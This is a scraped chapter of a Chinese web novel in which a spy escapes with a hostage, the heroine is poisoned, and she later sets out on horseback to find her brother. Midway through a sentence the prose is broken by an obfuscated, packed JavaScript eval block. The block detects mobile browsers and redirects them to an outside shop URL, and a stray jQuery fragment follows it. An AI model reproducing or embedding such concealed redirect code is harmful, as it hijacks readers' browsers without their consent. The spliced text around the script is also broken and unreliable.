文趣网 > 其他小说 > 长兄为牢 > 17. 软肋
    军令如山,不过片刻,府门之外备好骏马。男子半分不敢松懈,始终以洛云嫣为盾,步步挪身,缓慢退出合围的庭院,朝着敞开的府门挪动。

    沿途弓弩手始终紧随瞄准,不敢贸然放箭。

    终于踏出洛府厚重的大门,门外夜风更烈,裹挟着寒气。

    “关门。”男子警惕环视。

    就在两人完全踏出府门的刹那,洛砚辞冷厉的声线骤然响起:“落门!”

    沉重的府门轰然合拢,隔绝内外。

    门外的探子察觉脱身机会,不再顾忌洛云嫣,猛地将她狠狠推搡在地,身形翻跃,利落翻身跨上骏马,扬鞭欲逃。

    “放箭!”

    绝杀令瞬间下达。

    漫天箭雨骤然从四面八方破空而出,密密麻麻,笼罩夜空。无数箭矢划破夜色,尽数朝着奔逃的黑马射去。

    混乱之中,一枚细小的石子裹挟劲风飞来,精准砸在洛云嫣的腿弯处。

    下一瞬,尖锐的麻痛感骤然从腿间蔓延开来,迅速席卷整条右腿,四肢瞬间发软无力。她垂眸望去,裤腿已然被渗出的鲜血浸染,刺目的红色蔓延开来。

    视野骤然发黑,身体不受控制地向后倒去。

    “殿下,危险别下去!”

    话音尚未落下,一双温暖有力的手臂及时上前,稳稳将她接入怀中。熟悉的清冽气息裹挟而来,是洛砚辞。

    她气息微弱,眼底泛起水雾,声音轻得几不可闻:“兄长……抱歉,我拖累你了。”

    “从来没有。”洛砚辞抱着她的手臂微微收紧,嗓音低沉温柔,带着笃定的安稳:“若不是你以身诱敌,此人只会潜藏暗处,伺机作乱,永远不会现身。”

    他抬眸望向黑马逃窜的方向,眼底寒意彻骨,冷声传令:“追!活要见人,死要见尸,务必捉拿。”

    身后侍卫齐声领命,身形一闪,尽数消失在沉沉夜色之中。

    怀中的少女气息愈发微弱,指尖死死攥着他的衣襟,浑身发冷,唇瓣失尽血色,微微颤抖:“兄长……我好冷……”

    “府医!”

    一旁医者快步赶来,俯身探查片刻,神色凝重,沉声禀报:“殿下,此人匕首之上沾染罕见蛇毒,毒性蔓延极快,若三日之内寻不到专属解药,姑娘性命堪忧。”

    毒入肌理,寒气彻骨。

    洛云嫣耳畔嗡嗡作响,意识迅速涣散,眼前的光影层层破碎。无边黑暗席卷而来,彻底吞噬她的神智,双眼一合,彻底陷入昏迷。

    混沌黑暗之中,陌生又冰冷的声音骤然穿透迷雾,清晰响彻耳畔。

    一个狂妄阴鸷的语调,“颍川势在必得!”

    “到时候,孤将你阿兄的头砍下来,送与你做生辰礼物,如何?”

    画面骤然跳转,血色宫阙映入眼帘。

    上弦斐端坐王座之上,锦衣华贵,眉眼阴戾,把玩着手中皮质卷册,居高临下地看着阶下的她,眼底满是戏谑与狠绝。

    洛云嫣眼眶泛红,心口剧痛难忍,声音哽咽恳切:“请王上收手。大昭与西狄已然缔结盟约,互通交好,不该再起战事,徒添死伤。”

    “哦?”上弦斐挑眉轻笑,语气带着浓浓的嘲讽,“你如今是孤的王妃,一身荣辱系于西狄,反倒处处向着大昭,向着你的阿兄?”

    他抬手,朝她招了招手,语气慵懒阴寒:“过来。孤给你看一样好东西。”

    她心头沉甸甸压着巨石,万般无奈,只能依言缓步上前。

    掌心摊开的皮卷之上,线条清晰,标注缜密,赫然是大昭颍川的完整城防图,布防点位、兵力部署、暗道关口,一览无余。

    “有了这张图,洛砚辞驻守的颍川,不攻自破。”上弦斐笑意森冷,“洛砚辞的头颅,很快便能送到孤的面前。”

    洛云嫣瞳孔骤缩,心底满是震惊与寒意。

    这般机密的城防图,乃是大昭边防重中之重,怎会落入西狄王之手?

    不等她思索透彻,上弦斐的声音再次阴冷响起,字字淬着恨意:“你可知此物从何而来?当年孤在大昭为质,受尽折辱磋磨。今日孤所做的一切,不过是加倍奉还。大昭人加诸在孤身上的所有苦楚,孤会让大昭君臣百姓,尽数偿还!”

    滔天恨意裹挟而来,震得她心神俱裂。

    过往恩怨、家国仇恨、权谋算计层层交织,压得她喘不过气。

    剧烈的情绪波动之下,她骤然从混沌中挣脱,猛地睁开双眼。

    入目是熟悉的素色纱帐,鼻尖萦绕着清淡的安神药香,暖意融融,彻底隔绝了方才的血色梦魇。

    “小姐醒了!”

    清脆的女声在耳畔响起,是贴身侍女鸣蝉。

    洛云嫣骤然回神,眼底还残留着梦境的惊惧,来不及平复,当即撑着虚弱的身子,急切开口追问:“刺客呢?昨夜潜入府中的西狄刺客,抓到了没有?”

    鸣蝉愣了愣,略微回想,轻声答道:“小姐说的是半月前的事吧?那名刺客极为狡猾,昨夜混乱之中,终究是让他侥幸逃脱了。后续暗卫追查多日,暂时没有踪迹。”

    逃脱了。

    短短三个字,让洛云嫣心头一沉,所有警惕瞬间拉满。

    剧毒匕首、西狄探子、颍川城防图,所有线索串联一处,暗藏的危机远比她想象的更加凶险。

    绝不能放任此人在外逃窜,一旦他与西狄势力接应,后果不堪设想。

    “不行,不能放过他。”她语气坚定,眼底满是执拗。

    鸣蝉看着她苍白虚弱的脸色,连忙劝慰:“小姐身子尚未痊愈,毒素未清,万万不可动气劳累。”

    洛云嫣全然不顾身体酸软,挣扎着想要坐起身,下床寻人。可浑身力气尽数抽空,四肢绵软无力,稍稍一动,便头晕目眩,身子一歪,重重跌回软榻之上。

    “公主当心!”一旁的春芳连忙上前扶住她,满眼担忧,轻声禀报,“殿下,您暂且安心休养。宣王殿下已然动身前往常州驻守,近段时日,绝不会回京。”

    常州。

    洛砚辞此去驻守常州,正是帝都的门户。

    她心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893379|212800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头一顿,“我要去寻他。”

    西狄探子携毒逃脱,暗藏祸患,又有颍川城防图外泄的惊天隐患,兄长身处帝都要塞,时时刻刻深陷险境,她如何能安心留在府中静养。

    鸣蝉见她执意要走,连忙上前阻拦,眉眼间满是急切:“小姐,老夫人早有吩咐,只待您苏醒,便要去东院商议您与质子的婚礼事宜,万万不可擅自外出。”

    屋内药香清淡,窗棂漏进浅浅天光,落在洛云嫣苍白的面容上。

    “不妨事。”她微微抬手,推开侍女搀扶的手,语气沉静笃定,“母亲不知我苏醒的时辰,你们只需在此替我遮掩三五日,我去去便回,不会有人察觉。”

    鸣蝉面露难色,蹙着眉迟疑道:“可是小姐,常州路途遥远,四百里之遥,寻常马车往返至少半月有余,三五日根本来不及。”

    洛云嫣眸光未动,语气干脆:“不乘马车,我骑马前往。”

    一旁立着的春芳瞬间怔住,满眼难以置信:“殿下何时习得骑马之术?府中从未见过您练骑术,路途凶险,万万不可冒险。”

    洛云嫣并未解释。

    娴熟的骑术,是她深埋心底的前世记忆。

    那时嫁入西狄王宫,上弦斐闲来无事,曾亲自教她骑马。彼时那人从无半分善意,不过是将她当作猎场取乐的靶子,放任烈马狂奔,看她狼狈挣扎、险些殒命,以此消遣解闷。

    那数日昼夜奔袭、生死一线的历练,终究刻进了她的骨血里,成了绝境之中习得的本事。

    她不再多言,转头扬声朝外唤道:“青雀。”

    黑影一闪,玄衣暗卫转瞬立在房门之外,身姿挺拔,气息沉稳,躬身行礼:“殿下有何吩咐?”

    “备马。”洛云嫣字字利落。

    青雀垂眸应声,如实回禀:“府中留有宣王殿下日常所用的一匹千里良驹,乃是边关战马驯化而来,性子刚烈,极认主。除了殿下,旁人难以驯服,贸然靠近极易被马匹踢伤。”

    “无妨,我去看看。”

    洛云嫣让鸣蝉为她换了一身利落的劲装,素色窄袖劲衣束身,长发尽数高束,褪去了女儿家的温婉娇柔,多了几分飒然凌厉。

    颈侧与腿上的伤口尚未完全愈合,动作稍快便隐隐作痛,她尽数隐忍不提,步履沉稳地走向后院马厩。

    马厩之中干净整洁,草木清香混杂着马匹温热的气息。一匹通体乌黑的骏马静立槽边,皮毛油光水亮,四肢修长有力,筋骨矫健,一双马瞳漆黑锐利,自带边关战马的桀骜烈性。

    青雀立在不远处静静观望,暗自好奇这位养在深闺的女子,能否驯服这匹烈马。

    洛云嫣缓步上前,脚步轻缓沉稳,没有半分怯意。她记得上弦斐教她的诀窍,烈马最是欺软怕硬,能感知人心的怯懦与坚定。

    她停在马身侧,抬手轻轻抚过马颈柔顺的皮毛,掌心温度平和,眼神沉静凛冽,直视马瞳,不避不退。

    骏马起初躁动不安,四蹄不停踏地,鼻腔喷出粗重的白气,头颅频频晃动,想要甩开她的触碰。